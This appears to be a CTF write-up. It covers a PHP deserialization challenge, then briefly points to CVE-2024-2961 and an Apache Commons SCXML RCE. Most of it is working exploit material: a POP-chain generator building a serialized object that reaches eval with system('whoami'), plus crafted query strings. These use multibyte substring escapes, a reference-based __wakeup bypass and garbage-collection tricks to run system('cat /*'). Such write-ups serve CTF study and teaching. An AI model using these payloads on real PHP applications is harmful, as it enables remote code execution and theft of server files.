57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
highlight_file(__file__);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
public $start;
public $end;
public $username="hacker";
public function __construct($start){
$this->start=$start;
}
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}

public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}

class C{
public $c;
public function __toString(){
$this->c->c();
return "C";
}
}

class T{
public $t;
public function __call($name,$args){
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f);
}

}
class E{
public $e;
public function __isset($name){
($this->e)();
}

}
class R{
public $r;

public function __invoke(){
eval($this->r);
}
}

if(isset($_GET['ez_ser.from_you'])){
$ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
if(preg_match("/\[|\]/i", $_GET['substr'])){
die("NONONO!!!");
}
$pre = isset($_GET['substr'])?$_GET['substr']:"substr";
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
$a = unserialize($ser_ctf);
throw new Exception("杂鱼~杂鱼~");
}
1
2
引⽤绕过__wakeup
gc回收的机制绕过Exception,使 __destruct 提前触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class Hacker{
public $start;
public $end;
public $username="hacker";
}

class C{
public $c;
}

class T{
public $t;

}
class F{
public $f;

}
class E{
public $e;

}
class R{
public $r;
}

$a=new Hacker();
$a->end=&$a->username;
$a->start=new C();
$a->start->c = new T();
$a->start->c->t = new F();
$a->start->c->t->f = new E();
$a->start->c->t->f->e = new R();
$a->start->c->t->f->e->r = 'system("whoami");';
$b=array('1'=>$a,'2'=>null);
echo serialize($b);
1
a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
1
字符串逃逸mb_strpos和mb_substr对于字符性质差异绕过substrstr
1
2
3
4
5
6
?
substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc
%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:
{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:
{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:
9;}i:1;N;}
1
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("cat /*");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

Just Readme (前置)

1
2
<?php
echo file_get_contents($_POST['file']);
1
2
CVE-2024-2961
https://xz.aliyun.com/news/14986

Readme

1
测信道获取文件内容,然后打CVE-2024-2961。

scxml

1
https://blog.pyn3rd.com/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/